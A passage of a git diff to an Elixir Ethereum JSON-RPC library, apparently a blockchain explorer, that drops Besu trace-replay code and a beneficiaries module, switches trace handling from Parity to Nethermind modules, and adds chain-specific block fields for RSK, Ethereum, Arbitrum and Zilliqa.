{:ok, transactions} <- - %{id: 1, method: "txpool_besuTransactions", params: []} - |> request() - |> json_rpc(json_rpc_named_arguments) do - transactions_params = - transactions - |> Transactions.to_elixir() - |> Transactions.elixir_to_params() - - {:ok, transactions_params} - end - end - - defp block_numbers_to_params_list(block_numbers) when is_list(block_numbers) do - Enum.map(block_numbers, &%{block_quantity: integer_to_quantity(&1)}) - end - - defp trace_replay_block_transactions_responses_to_internal_transactions_params(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - with {:ok, traces} <- trace_replay_block_transactions_responses_to_traces(responses, id_to_params) do - params = - traces - |> Traces.to_elixir() - |> Traces.elixir_to_params() - - {:ok, params} - end - end - - defp trace_replay_block_transactions_responses_to_traces(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - responses - |> Enum.map(&trace_replay_block_transactions_response_to_traces(&1, id_to_params)) - |> Enum.reduce( - {:ok, []}, - fn - {:ok, traces}, {:ok, acc_traces_list} -> - {:ok, [traces | acc_traces_list]} - - {:ok, _}, {:error, _} = acc_error -> - acc_error - - {:error, reason}, {:ok, _} -> - {:error, [reason]} - - {:error, reason}, {:error, acc_reason} -> - {:error, [reason | acc_reason]} - end - ) - |> case do - {:ok, traces_list} -> - traces = - traces_list - |> Enum.reverse() - |> List.flatten() - - {:ok, traces} - - {:error, reverse_reasons} -> - reasons = Enum.reverse(reverse_reasons) - {:error, reasons} - end - end - - defp trace_replay_block_transactions_response_to_traces(%{id: id, result: results}, id_to_params) - when is_list(results) and is_map(id_to_params) do - block_number = Map.fetch!(id_to_params, id) - - annotated_traces = - results - |> Stream.with_index() - |> Enum.flat_map(fn {%{"trace" => traces, "transactionHash" => transaction_hash}, transaction_index} -> - traces - |> Stream.with_index() - |> Enum.map(fn {trace, index} -> - Map.merge(trace, %{ - "blockNumber" => block_number, - "transactionHash" => transaction_hash, - "transactionIndex" => transaction_index, - "index" => index - }) - end) - end) - - {:ok, annotated_traces} - end - - defp trace_replay_block_transactions_response_to_traces(%{id: id, error: error}, id_to_params) - when is_map(id_to_params) do - block_number = Map.fetch!(id_to_params, id) - - annotated_error = - Map.put(error, :data, %{ - "blockNumber" => block_number - }) - - {:error, annotated_error} - end - - defp trace_replay_block_transactions_requests(id_to_params) when is_map(id_to_params) do - Enum.map(id_to_params, fn {id, block_number} -> - trace_replay_block_transactions_request(%{id: id, block_number: block_number}) - end) - end - - defp trace_replay_block_transactions_request(%{id: id, block_number: block_number}) do - request(%{id: id, method: "trace_replayBlockTransactions", params: [integer_to_quantity(block_number), ["trace"]]}) - end - - def trace_replay_transaction_responses_to_first_trace_params(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - with {:ok, traces} <- trace_replay_transaction_responses_to_first_trace(responses, id_to_params) do - params = - traces - |> Traces.to_elixir() - |> Traces.elixir_to_params() - - {:ok, params} - end + PendingTransaction.fetch_pending_transactions_besu(json_rpc_named_arguments) end - defp trace_replay_transaction_responses_to_first_trace(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - responses - |> Enum.map(&trace_replay_transaction_response_to_first_trace(&1, id_to_params)) - |> Enum.reduce( - {:ok, []}, - fn - {:ok, traces}, {:ok, acc_traces_list} -> - {:ok, [traces | acc_traces_list]} - - {:ok, _}, {:error, _} = acc_error -> - acc_error - - {:error, reason}, {:ok, _} -> - {:error, [reason]} - - {:error, reason}, {:error, acc_reason} -> - {:error, [reason | acc_reason]} - end - ) - |> case do - {:ok, traces_list} -> - traces = - traces_list - |> Enum.reverse() - |> List.flatten() + @impl EthereumJSONRPC.Variant + def fetch_transaction_raw_traces(%{hash: transaction_hash}, json_rpc_named_arguments) do + request = trace_transaction_request(%{id: 0, hash_data: to_string(transaction_hash)}) - {:ok, traces} + case json_rpc(request, json_rpc_named_arguments) do + {:ok, response} -> + {:ok, response} - {:error, reverse_reasons} -> - reasons = Enum.reverse(reverse_reasons) - {:error, reasons} + {:error, error} -> + Logger.error(inspect(error)) + {:error, error} end end - defp trace_replay_transaction_response_to_first_trace(%{id: id, result: %{"trace" => traces}}, id_to_params) - when is_list(traces) and is_map(id_to_params) do - %{ - block_hash: block_hash, - block_number: block_number, - hash_data: transaction_hash, - transaction_index: transaction_index - } = Map.fetch!(id_to_params, id) - - first_trace = - traces - |> Stream.with_index() - |> Enum.map(fn {trace, index} -> - Map.merge(trace, %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "index" => index, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash - }) - end) - |> Enum.filter(fn trace -> - Map.get(trace, "index") == 0 - end) - - {:ok, first_trace} - end - - defp trace_replay_transaction_response_to_first_trace(%{id: id, error: error}, id_to_params) - when is_map(id_to_params) do - %{ - block_hash: block_hash, - block_number: block_number, - hash_data: transaction_hash, - transaction_index: transaction_index - } = Map.fetch!(id_to_params, id) - - annotated_error = - Map.put(error, :data, %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash - }) - - {:error, annotated_error} - end - - defp trace_replay_transaction_requests(id_to_params) when is_map(id_to_params) do - Enum.map(id_to_params, fn {id, %{hash_data: hash_data}} -> - trace_replay_transaction_request(%{id: id, hash_data: hash_data}) - end) + defp block_numbers_to_params_list(block_numbers) when is_list(block_numbers) do + Enum.map(block_numbers, &%{block_quantity: integer_to_quantity(&1)}) end - defp trace_replay_transaction_request(%{id: id, hash_data: hash_data}) do - request(%{id: id, method: "trace_replayTransaction", params: [hash_data, ["trace"]]}) + defp trace_transaction_request(%{id: id, hash_data: hash_data}) do + request(%{id: id, method: "trace_transaction", params: [hash_data]}) end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/fetched_beneficiaries.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/fetched_beneficiaries.ex deleted file mode 100644 index 0cc22c19f8be..000000000000 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/fetched_beneficiaries.ex +++ /dev/null @@ -1,178 +0,0 @@ -defmodule EthereumJSONRPC.Besu.FetchedBeneficiaries do - @moduledoc """ - Beneficiaries and errors from batch requests to `trace_block`. - """ - - import EthereumJSONRPC, only: [quantity_to_integer: 1] - - @doc """ - Converts `responses` to `EthereumJSONRPC.FetchedBeneficiaries.t()`. - - responses - List with trace_block responses - id_to_params - Maps request id to query params - - ## Examples - iex> EthereumJSONRPC.Besu.FetchedBeneficiaries.from_responses( - ...> [ - ...> %{ - ...> id: 0, - ...> result: [ - ...> %{ - ...> "action" => %{"author" => "0x1", "rewardType" => "external", "value" => "0x0"}, - ...> "blockHash" => "0xFFF", - ...> "blockNumber" => 12, - ...> "result" => nil, - ...> "subtraces" => 0, - ...> "traceAddress" => [], - ...> "transactionHash" => nil, - ...> "transactionPosition" => nil, - ...> "type" => "reward" - ...> }, - ...> %{ - ...> "action" => %{"author" => "0x2", "rewardType" => "external", "value" => "0x0"}, - ...> "blockHash" => "0xFFF", - ...> "blockNumber" => 12, - ...> "result" => nil, - ...> "subtraces" => 0, - ...> "traceAddress" => [], - ...> "transactionHash" => nil, - ...> "transactionPosition" => nil, - ...> "type" => "reward" - ...> } - ...> ] - ...> } - ...> ], - ...> %{0 => %{block_quantity: "0xC"}} - ...> ) - %EthereumJSONRPC.FetchedBeneficiaries{ - errors: [], - params_set: #MapSet<[ - %{ - address_hash: "0x1", - address_type: :validator, - block_hash: "0xFFF", - block_number: 12, - reward: "0x0" - }, - %{ - address_hash: "0x2", - address_type: :emission_funds, - block_hash: "0xFFF", - block_number: 12, - reward: "0x0" - } - ]> - } - """ - def from_responses(responses, id_to_params) when is_list(responses) and is_map(id_to_params) do - responses - |> Enum.map(&response_to_params_set(&1, id_to_params)) - |> Enum.reduce( - %EthereumJSONRPC.FetchedBeneficiaries{}, - fn - {:ok, params_set}, %EthereumJSONRPC.FetchedBeneficiaries{params_set: acc_params_set} = acc -> - %EthereumJSONRPC.FetchedBeneficiaries{acc | params_set: MapSet.union(acc_params_set, params_set)} - - {:error, reason}, %EthereumJSONRPC.FetchedBeneficiaries{errors: errors} = acc -> - %EthereumJSONRPC.FetchedBeneficiaries{acc | errors: [reason | errors]} - end - ) - end - - @doc """ - `trace_block` requests for `id_to_params`. - """ - def requests(id_to_params) when is_map(id_to_params) do - Enum.map(id_to_params, fn {id, %{block_quantity: block_quantity}} -> - request(%{id: id, block_quantity: block_quantity}) - end) - end - - @spec response_to_params_set(%{id: id, result: nil}, %{id => %{block_quantity: block_quantity}}) :: - {:error, %{code: 404, message: String.t(), data: %{block_quantity: block_quantity}}} - when id: non_neg_integer(), block_quantity: String.t() - defp response_to_params_set(%{id: id, result: nil}, id_to_params) when is_map(id_to_params) do - %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) - - {:error, %{code: 404, message: "Not Found", data: %{block_quantity: block_quantity}}} - end - - @spec response_to_params_set(%{id: id, result: list(map())}, %{id => %{block_quantity: block_quantity}}) :: - {:ok, MapSet.t(EthereumJSONRPC.FetchedBeneficiary.params())} - when id: non_neg_integer(), block_quantity: String.t() - defp response_to_params_set(%{id: id, result: traces}, id_to_params) when is_list(traces) and is_map(id_to_params) do - %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) - block_number = quantity_to_integer(block_quantity) - params_set = traces_to_params_set(traces, block_number) - - {:ok, params_set} - end - - @spec response_to_params_set(%{id: id, error: %{code: code, message: message}}, %{ - id => %{block_quantity: block_quantity} - }) :: {:error, %{code: code, message: message, data: %{block_quantity: block_quantity}}} - when id: non_neg_integer(), code: integer(), message: String.t(), block_quantity: String.t() - defp response_to_params_set(%{id: id, error: error}, id_to_params) when is_map(id_to_params) do - %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) - - annotated_error = Map.put(error, :data, %{block_quantity: block_quantity}) - - {:error, annotated_error} - end - - defp request(%{id: id, block_quantity: block_quantity}) when is_integer(id) and is_binary(block_quantity) do - EthereumJSONRPC.request(%{id: id, method: "trace_block", params: [block_quantity]}) - end - - defp traces_to_params_set(traces, block_number) when is_list(traces) and is_integer(block_number) do - traces - |> Stream.filter(&(&1["type"] == "reward")) - |> Stream.with_index() - |> Enum.reduce(MapSet.new(), fn {trace, index}, acc -> - MapSet.union(acc, trace_to_params_set(trace, block_number, index)) - end) - end - - defp trace_to_params_set( - %{ - "action" => %{ - "rewardType" => reward_type, - "author" => address_hash_data, - "value" => reward_value - }, - "blockHash" => block_hash, - "blockNumber" => block_number - }, - block_number, - index - ) - when is_integer(block_number) and reward_type in ~w(block external uncle) do - MapSet.new([ - %{ - address_hash: address_hash_data, - block_hash: block_hash, - block_number: block_number, - reward: reward_value, - address_type: get_address_type(reward_type, index) - } - ]) - end - - # Beneficiary's address type will depend on the responses' action.rewardType, - # which will vary depending on which network is being indexed - # - # On POA networks, rewardType will always be external and the type of the address being - # rewarded will depend on its position. - # First address will always be the validator's while the second will be the EmissionsFunds address - # - # On PoW networks, like Ethereum, the reward type will already specify the type for the - # address being rewarded - # The rewardType "block" will show the reward for the consensus block validator - # The rewardType "uncle" will show reward for validating an uncle block - defp get_address_type(reward_type, index) when reward_type == "external" and index == 0, do: :validator - defp get_address_type(reward_type, index) when reward_type == "external" and index == 1, do: :emission_funds - defp get_address_type(reward_type, index) when reward_type == "external" and index >= 2, do: :validator - defp get_address_type(reward_type, _index) when reward_type == "block", do: :validator - defp get_address_type(reward_type, _index) when reward_type == "uncle", do: :uncle - defp get_address_type(reward_type, _index) when reward_type == "emptyStep", do: :validator -end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/trace.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/trace.ex index a4a98d8d427b..e06c9d8da3a5 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/trace.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/trace.ex @@ -1,15 +1,14 @@ defmodule EthereumJSONRPC.Besu.Trace do @moduledoc """ Trace returned by - [`trace_replayTransaction`](https://wiki.parity.io/JSONRPC-trace-module.html#trace_replaytransaction), which is an - extension to the Ethereum JSONRPC standard that is only supported by [Parity](https://wiki.parity.io/). + [`trace_replayTransaction`](https://openethereum.github.io/JSONRPC-trace-module#trace_replaytransaction). """ - alias EthereumJSONRPC.Parity.Trace, as: ParityTrace - alias EthereumJSONRPC.Parity.Trace.{Action, Result} + alias EthereumJSONRPC.Nethermind.Trace, as: NethermindTrace + alias EthereumJSONRPC.Nethermind.Trace.{Action, Result} def elixir_to_params(elixir) do - ParityTrace.elixir_to_params(elixir) + NethermindTrace.elixir_to_params(elixir) end def to_elixir(%{"blockNumber" => _, "index" => _, "transactionHash" => _, "transactionIndex" => _} = trace) @@ -18,7 +17,7 @@ defmodule EthereumJSONRPC.Besu.Trace do end def to_elixir(trace) do - ParityTrace.to_elixir(trace) + NethermindTrace.to_elixir(trace) end # subtraces is an actual integer in JSON and not hex-encoded diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/traces.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/traces.ex index dfa2d3be85b7..780d3af22cab 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/traces.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu/traces.ex @@ -1,8 +1,7 @@ defmodule EthereumJSONRPC.Besu.Traces do @moduledoc """ Trace returned by - [`trace_replayTransaction`](https://wiki.parity.io/JSONRPC-trace-module.html#trace_replaytransaction), which is an - extension to the Ethereum JSONRPC standard that is only supported by [Parity](https://wiki.parity.io/). + [`trace_replayTransaction`](https://openethereum.github.io/JSONRPC-trace-module#trace_replaytransaction). """ alias EthereumJSONRPC.Besu.Trace diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block.ex index 7c4de364b95c..dd166ef653c1 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block.ex @@ -1,15 +1,73 @@ defmodule EthereumJSONRPC.Block do @moduledoc """ - Block format as returned by [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbyhash) - and [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbynumber). + Block format as returned by [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbyhash) + and [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbynumber). """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] import EthereumJSONRPC, only: [quantity_to_integer: 1, timestamp_to_datetime: 1] - alias EthereumJSONRPC.{Transactions, Uncles} + alias EthereumJSONRPC.{Transactions, Uncles, Withdrawals} + + alias EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate, as: ZilliqaAggregateQuorumCertificate + alias EthereumJSONRPC.Zilliqa.QuorumCertificate, as: ZilliqaQuorumCertificate + + # Because proof of stake does not naturally produce uncles like proof of work, + # the list of these in each block is empty, and the hash of this list + # (sha3Uncles) is the RLP-encoded hash of an empty list. + @sha3_uncles_empty_list "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347" + + case @chain_type do + :rsk -> + @chain_type_fields quote( + do: [ + {optional(:bitcoin_merged_mining_header), EthereumJSONRPC.data()}, + {optional(:bitcoin_merged_mining_coinbase_transaction), EthereumJSONRPC.data()}, + {optional(:bitcoin_merged_mining_merkle_proof), EthereumJSONRPC.data()}, + {optional(:hash_for_merged_mining), EthereumJSONRPC.data()}, + {optional(:minimum_gas_price), non_neg_integer()} + ] + ) + + :ethereum -> + @chain_type_fields quote( + do: [ + {optional(:withdrawals_root), EthereumJSONRPC.hash()}, + {optional(:blob_gas_used), non_neg_integer()}, + {optional(:excess_blob_gas), non_neg_integer()} + ] + ) + + :arbitrum -> + @chain_type_fields quote( + do: [ + {optional(:send_count), non_neg_integer()}, + {optional(:send_root), EthereumJSONRPC.hash()}, + {optional(:l1_block_number), non_neg_integer()} + ] + ) + + :zilliqa -> + @chain_type_fields quote( + do: [ + {optional(:zilliqa_view), non_neg_integer()} + ] + ) + + _ -> + @chain_type_fields quote(do: []) + end - @type elixir :: %{String.t() => non_neg_integer | DateTime.t() | String.t() | nil} + @type elixir :: %{ + String.t() => + non_neg_integer + | DateTime.t() + | String.t() + | map() + | nil + } @type params :: %{ + unquote_splicing(@chain_type_fields), difficulty: pos_integer(), extra_data: EthereumJSONRPC.hash(), gas_limit: non_neg_integer(), @@ -49,27 +107,56 @@ defmodule EthereumJSONRPC.Block do * `"number"` - the block number `t:EthereumJSONRPC.quantity/0`. `nil` when block is pending. * `"parentHash" - the `t:EthereumJSONRPC.hash/0` of the parent block. * `"receiptsRoot"` - `t:EthereumJSONRPC.hash/0` of the root of the receipts. - [trie](https://github.com/ethereum/wiki/wiki/Patricia-Tree) of the block. + [trie](https://ethereum.org/en/developers/docs/data-structures-and-encoding/patricia-merkle-trie/) of the block. * `"sealFields"` - UNKNOWN * `"sha3Uncles"` - `t:EthereumJSONRPC.hash/0` of the [uncles](https://bitcoin.stackexchange.com/questions/39329/in-ethereum-what-is-an-uncle-block) data in the block. * `"signature"` - UNKNOWN * `"size"` - `t:EthereumJSONRPC.quantity/0` of bytes in this block * `"stateRoot" - `t:EthereumJSONRPC.hash/0` of the root of the final state - [trie](https://github.com/ethereum/wiki/wiki/Patricia-Tree) of the block. + [trie](https://ethereum.org/en/developers/docs/data-structures-and-encoding/patricia-merkle-trie/) of the block. * `"step"` - UNKNOWN * `"timestamp"`: the unix timestamp as a `t:EthereumJSONRPC.quantity/0` for when the block was collated. * `"totalDifficulty" - `t:EthereumJSONRPC.quantity/0` of the total difficulty of the chain until this block. * `"transactions"` - `t:list/0` of `t:EthereumJSONRPC.Transaction.t/0`. * `"transactionsRoot" - `t:EthereumJSONRPC.hash/0` of the root of the transaction - [trie](https://github.com/ethereum/wiki/wiki/Patricia-Tree) of the block. + [trie](https://ethereum.org/en/developers/docs/data-structures-and-encoding/patricia-merkle-trie/) of the block. * `uncles`: `t:list/0` of [uncles](https://bitcoin.stackexchange.com/questions/39329/in-ethereum-what-is-an-uncle-block) `t:EthereumJSONRPC.hash/0`. - * `"baseFeePerGas"` - `t:EthereumJSONRPC.quantity/0` of wei to denote amount of fee burned per unit gas used. Introduced in [EIP-1559](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1559.md) + * `"baseFeePerGas"` - `t:EthereumJSONRPC.quantity/0` of wei to denote amount of fee burnt per unit gas used. Introduced in [EIP-1559](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1559.md) + #{case @chain_type do + :rsk -> """ + * `"minimumGasPrice"` - `t:EthereumJSONRPC.quantity/0` of the minimum gas price for this block. + * `"bitcoinMergedMiningHeader"` - `t:EthereumJSONRPC.data/0` of the Bitcoin merged mining header. + * `"bitcoinMergedMiningCoinbaseTransaction"` - `t:EthereumJSONRPC.data/0` of the Bitcoin merged mining coinbase transaction. + * `"bitcoinMergedMiningMerkleProof"` - `t:EthereumJSONRPC.data/0` of the Bitcoin merged mining merkle proof. + * `"hashForMergedMining"` - `t:EthereumJSONRPC.data/0` of the hash for merged mining. + """ + :ethereum -> """ + * `"withdrawalsRoot"` - `t:EthereumJSONRPC.hash/0` of the root of the withdrawals. + * `"blobGasUsed"` - `t:EthereumJSONRPC.quantity/0` of the total amount of blob gas consumed by the transactions within the block. + * `"excessBlobGas"` - `t:EthereumJSONRPC.quantity/0` of the running total of blob gas consumed in excess of the target, prior to the block. + """ + _ -> "" + end} """ @type t :: %{String.t() => EthereumJSONRPC.data() | EthereumJSONRPC.hash() | EthereumJSONRPC.quantity() | nil} + @doc """ + Processes a JSON-RPC response for a block request. + + ## Parameters + - `response`: The JSON-RPC response containing either a block, nil result, or error + - `id_to_params`: Map of request IDs to their original parameters + + ## Returns + - `{:ok, block}` if response contains a block + - `{:error, %{code: 404, message: "Not Found", data: params}}` if block not found + - `{:error, annotated_error}` if response contains an error + """ + @spec from_response(EthereumJSONRPC.Transport.response(), %{EthereumJSONRPC.request_id() => any()}) :: + {:error, %{:data => any(), optional(any()) => any()}} | {:ok, any()} def from_response(%{id: id, result: nil}, id_to_params) when is_map(id_to_params) do params = Map.fetch!(id_to_params, id) @@ -117,7 +204,36 @@ defmodule EthereumJSONRPC.Block do ...> "timestamp" => Timex.parse!("2017-12-15T21:03:30Z", "{ISO:Extended:Z}"), ...> "totalDifficulty" => 340282366920938463463374607431465668165, ...> "transactions" => [], - ...> "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + ...> "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",\ + #{case @chain_type do + :rsk -> """ + "minimumGasPrice" => 345786,\ + "bitcoinMergedMiningHeader" => "0x00006d20ffd048280094a6ea0851d854036aacaa25ee0f23f0040200000000000000000078d2638fe0b4477c54601e6449051afba8228e0a88ff06b0c91f091fd34d5da57487c76402610517372c2fe9",\ + "bitcoinMergedMiningCoinbaseTransaction" => "0x00000000000000805bf0dc9203da49a3b4e3ec913806e43102cc07db991272dc8b7018da57eb5abe59a32d070000ffffffff03449a4d26000000001976a914536ffa992491508dca0354e52f32a3a7a679a53a88ac00000000000000002b6a2952534b424c4f434b3ad2508d21d28c8f89d495923c0758ec3f64bd6755b4ec416f5601312600542a400000000000000000266a24aa21a9ed4ae42ea6dca2687aaed665714bf58b055c4e11f2fb038605930d630b49ad7b9d00000000",\ + "bitcoinMergedMiningMerkleProof" => "0x8e5a4ba74eb4eb2f9ad4cabc2913aeed380a5becf7cd4d513341617efb798002bd83a783c31c66a8a8f6cc56c071c2d471cb610e3dc13054b9d216021d8c7e9112f622564449ebedcedf7d4ccb6fe0ffac861b7ed1446c310813cdf712e1e6add28b1fe1c0ae5e916194ba4f285a9340aba41e91bf847bf31acf37a9623a04a2348a37ab9faa5908122db45596bbc03e9c3644b0d4589471c4ff30fc139f3ba50506e9136fa0df799b487494de3e2b3dec937338f1a2e18da057c1f60590a9723672a4355b9914b1d01af9f582d9e856f6e1744be00f268b0b01d559329f7e0685aa63ffeb7c28486d7462292021d1345cddbf7c920ca34bb7aa4c6cdbe068806e35d0db662e7fcda03cb4d779594638c62a1fdd7ec98d1fb6d240d853958abe57561d9b9d0465cf8b9d6ee3c58b0d8b07d6c4c5d8f348e43fe3c06011b6a0008db4e0b16c77ececc3981f9008201cea5939869d648e59a09bd2094b1196ff61126bffb626153deed2563e1745436247c94a85d2947756b606d67633781c99d7",\ + "hashForMergedMining" => "0xd2508d21d28c8f89d495923c0758ec3f64bd6755b4ec416f5601312600542a40",\ + """ + :ethereum -> """ + "withdrawalsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",\ + "blobGasUsed" => 262144,\ + "excessBlobGas" => 79429632,\ + """ + :arbitrum -> """ + "sendRoot" => "0xc71ee2cf4201f65590aa6c052270dc41e926e628f213e268a58d9a8d8f739f82",\ + "sendCount" => 91,\ + "l1BlockNumber" => 19828534,\ + """ + :zilliqa -> """ + "view" => "0x115cca",\ + "quorumCertificate" => %{\ + "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa",\ + "cosigned" => "[1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]",\ + "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6",\ + "view" => "0x115cc7"\ + },\ + """ + _ -> "" + end} ...> "uncles" => [] ...> } ...> ) @@ -139,7 +255,30 @@ defmodule EthereumJSONRPC.Block do state_root: "0xc196ad59d867542ef20b29df5f418d07dc7234f4bc3d25260526620b7958a8fb", timestamp: Timex.parse!("2017-12-15T21:03:30Z", "{ISO:Extended:Z}"), total_difficulty: 340282366920938463463374607431465668165, - transactions_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + transactions_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",\ + #{case @chain_type do + :rsk -> """ + bitcoin_merged_mining_coinbase_transaction: "0x00000000000000805bf0dc9203da49a3b4e3ec913806e43102cc07db991272dc8b7018da57eb5abe59a32d070000ffffffff03449a4d26000000001976a914536ffa992491508dca0354e52f32a3a7a679a53a88ac00000000000000002b6a2952534b424c4f434b3ad2508d21d28c8f89d495923c0758ec3f64bd6755b4ec416f5601312600542a400000000000000000266a24aa21a9ed4ae42ea6dca2687aaed665714bf58b055c4e11f2fb038605930d630b49ad7b9d00000000",\ + bitcoin_merged_mining_header: "0x00006d20ffd048280094a6ea0851d854036aacaa25ee0f23f0040200000000000000000078d2638fe0b4477c54601e6449051afba8228e0a88ff06b0c91f091fd34d5da57487c76402610517372c2fe9",\ + bitcoin_merged_mining_merkle_proof: "0x8e5a4ba74eb4eb2f9ad4cabc2913aeed380a5becf7cd4d513341617efb798002bd83a783c31c66a8a8f6cc56c071c2d471cb610e3dc13054b9d216021d8c7e9112f622564449ebedcedf7d4ccb6fe0ffac861b7ed1446c310813cdf712e1e6add28b1fe1c0ae5e916194ba4f285a9340aba41e91bf847bf31acf37a9623a04a2348a37ab9faa5908122db45596bbc03e9c3644b0d4589471c4ff30fc139f3ba50506e9136fa0df799b487494de3e2b3dec937338f1a2e18da057c1f60590a9723672a4355b9914b1d01af9f582d9e856f6e1744be00f268b0b01d559329f7e0685aa63ffeb7c28486d7462292021d1345cddbf7c920ca34bb7aa4c6cdbe068806e35d0db662e7fcda03cb4d779594638c62a1fdd7ec98d1fb6d240d853958abe57561d9b9d0465cf8b9d6ee3c58b0d8b07d6c4c5d8f348e43fe3c06011b6a0008db4e0b16c77ececc3981f9008201cea5939869d648e59a09bd2094b1196ff61126bffb626153deed2563e1745436247c94a85d2947756b606d67633781c99d7",\ + hash_for_merged_mining: "0xd2508d21d28c8f89d495923c0758ec3f64bd6755b4ec416f5601312600542a40",\ + minimum_gas_price: 345786,\ + """ + :ethereum -> """ + withdrawals_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",\ + blob_gas_used: 262144,\ + excess_blob_gas: 79429632,\ + """ + :arbitrum -> """ + send_root: "0xc71ee2cf4201f65590aa6c052270dc41e926e628f213e268a58d9a8d8f739f82",\ + send_count: 91,\ + l1_block_number: 19828534,\ + """ + :zilliqa -> """ + zilliqa_view: "0x115cca",\ + """ + _ -> "" + end} uncles: [] } @@ -187,34 +326,60 @@ defmodule EthereumJSONRPC.Block do state_root: "0x6fd0a5d82ca77d9f38c3ebbde11b11d304a5fcf3854f291df64395ab38ed43ba", timestamp: Timex.parse!("2015-07-30T15:32:07Z", "{ISO:Extended:Z}"), total_difficulty: 1039309006117, - transactions_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + transactions_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",\ + #{case @chain_type do + :rsk -> """ + bitcoin_merged_mining_coinbase_transaction: nil,\ + bitcoin_merged_mining_header: nil,\ + bitcoin_merged_mining_merkle_proof: nil,\ + hash_for_merged_mining: nil,\ + minimum_gas_price: nil,\ + """ + :ethereum -> """ + withdrawals_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",\ + blob_gas_used: 0,\ + excess_blob_gas: 0,\ + """ + :arbitrum -> """ + send_root: nil,\ + send_count: nil,\ + l1_block_number: nil,\ + """ + :zilliqa -> """ + zilliqa_view: nil,\ + """ + _ -> "" + end} uncles: [] } - """ @spec elixir_to_params(elixir) :: params - def elixir_to_params( - %{ - "difficulty" => difficulty, - "extraData" => extra_data, - "gasLimit" => 